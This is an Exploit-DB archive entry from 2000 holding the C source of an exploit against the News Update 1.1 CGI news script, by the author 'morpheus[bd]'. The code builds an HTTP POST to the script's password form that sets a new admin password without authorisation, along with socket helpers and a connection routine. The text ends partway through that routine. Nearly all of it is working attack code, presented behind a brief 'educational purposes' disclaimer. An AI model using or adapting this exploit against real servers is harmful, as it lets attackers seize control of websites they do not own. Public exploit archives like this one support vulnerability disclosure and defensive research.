Exploit-DB #179
Description: News Update 1.1 - Change Admin Password
Type: webapps
Platform: cgi
Date: 2000-11-15
Author: morpheus[bd]

Exploit:
/***************************************************************************
                          news_exp.c  -  description
                             -------------------
    begin                : Sat Oct 21 2000
    copyright            : (C) 2000 by Morpheus[bd]
    email                : morpheusbd@gmx.net
    advisory		 : www.brightdarkness.de

    Exploit code for the News Update 1.1 by Morpheus[bd]
    For more information see my advisory which should be in this .tar.gz
    package.

    Compiling/Linking: gcc exploit.c -o exploit
    Usage: will be printed when the exploit is started without arguments

 ***************************************************************************/

/***************************************************************************
                         [Disclaimer]
  Standard disclaimer applies here. Do not use this program. This program
  is only for educational purposes. Use it on your on risk.

 ***************************************************************************/

/***************************************************************************
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 ***************************************************************************/

#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <arpa/nameser.h>
#include <sys/stat.h>

#define			WEISS		        printf("\033[0;29m")
#define                 ROT                     printf("\033[1;31m")
#define         	GRUEN                   printf("\033[1;32m")
#define		        GELB                    printf("\033[1;33m")
#define			BLAU		        printf("\033[1;34m")
#define			LILA		        printf("\033[1;35m")
#define         	HELLROT                 printf("\033[1;36m")

#define MAXBUFFER       4096

/******************* AUSGABEN ************************/

/* At the moment everything will be written to the STDOUT */

#define EXPLOIT_INFO		2 /* If you only want Exploit infos ... change it to 1 and DEBUG to 1 */
#define	DEBUG_INFO		2 /* If you only want Debug infos ... change DEBUG to 2 */

#define	DEBUG			2

/*****************************************************/

/* Standard-Pfad des News Update scripts */
#define	NEWSUPDATE_PATH	"/cgi-bin/dummy/newsup"

/* Name des News Update scripts */
#define	NEWS_UPDATE	"newsup.pl"

/* Das gew?schte Passwort f? die News Update Form */
#define	PWD		"morpheus"

/* HTTP-Request f? die News Update Form */
#define	NEWS_UPDATE_PWD	"POST %s HTTP/1.0\r\n" \
			"Host: %s\r\n" \
			"Referrer: %s\r\n" \
			"Connection: Close\r\n" \
			"User-Agent: %s\r\n" \
			"Accept: */*\r\n" \
			"Content-type: application/x-www-urlencoded\r\n" \
			"Content-length: %d\r\n" \
			"\r\n" \
			"[CREDENTIAL_REDACTED]=%s&setpwd=++Set+Password++\r\n" \
			"\r\n"

/* Ein einfacher HTTP-Request um eine Datei von einem Web-Server zu saugen */
#define SIMPLE_REQUEST	"GET %s HTTP/1.0\r\n" \
			"Host: %s\r\n" \
			"\r\n"

#define BROWSER         "Morphi-Browser (X11; U; Linux 2.4 i686)"

ssize_t writen(int fd, const void *vptr, size_t n)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
  {
    size_t nleft;
    ssize_t nwritten;
    const char *ptr;

    ptr = vptr;
    nleft = n;
    while(nleft > 0) {
      if ( (nwritten = write(fd, ptr, nleft)) <= 0) {
        if (errno == EINTR)
          nwritten = 0;
        else
          return (-1);
      }
      nleft -= nwritten;
      ptr += nwritten;
    }
    return (n);
  }

static ssize_t my_read(int fd, char *ptr)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
{
	static int	read_cnt = 0;
	static char	*read_ptr;
	static char	read_buf[4096];

	if (read_cnt <= 0) {
again:
		if ( (read_cnt = read(fd, read_buf, sizeof(read_buf))) < 0) {
		  if (errno == EINTR)
		    goto again;
			return(-1);
		} else if (read_cnt == 0)
			return(0);
		read_ptr = read_buf;
	}

	read_cnt--;
	*ptr = *read_ptr++;
	return(1);
}

ssize_t readline(int fd, void *vptr, size_t maxlen)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
{
	int		n, rc;
	char	c, *ptr;

	ptr = vptr;
	for (n = 1; n < maxlen; n++) {
		if ( (rc = my_read(fd, &c)) == 1) {
			*ptr++ = c;
			if (c == '\n')
				break;	/* newline is stored, like fgets() */
		} else if (rc == 0) {
			if (n == 1)
				return(0);	/* EOF, no data read */
			else
				break;		/* EOF, some data was read */
		} else
			return(-1);		/* error, errno set by read() */
	}

	*ptr = 0;	/* null terminate like fgets() */
	return(n);
}

/* Stellt die Verbindung zum HTTP-Port des Servers her */
int http_connection(char host[100])
  {
    struct sockaddr_in sa;
    struct hostent *hp;

    int sockfd;
    int port = 80;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&sa, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    if ( (sa.sin_addr.s_addr = inet_addr(host)) == -1)
      {
        if ( (hp = (struct hostent *) gethostbyname(host)) == NULL)
          {
            ROT;
            perror("gethostbyname:");
            WEISS;
            return (-1);
          }
        memcpy(&sa.sin_addr.s_addr,hp->h_addr,sizeof(hp->h_addr));
      }

    if (connect(sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0)
      {
        ROT;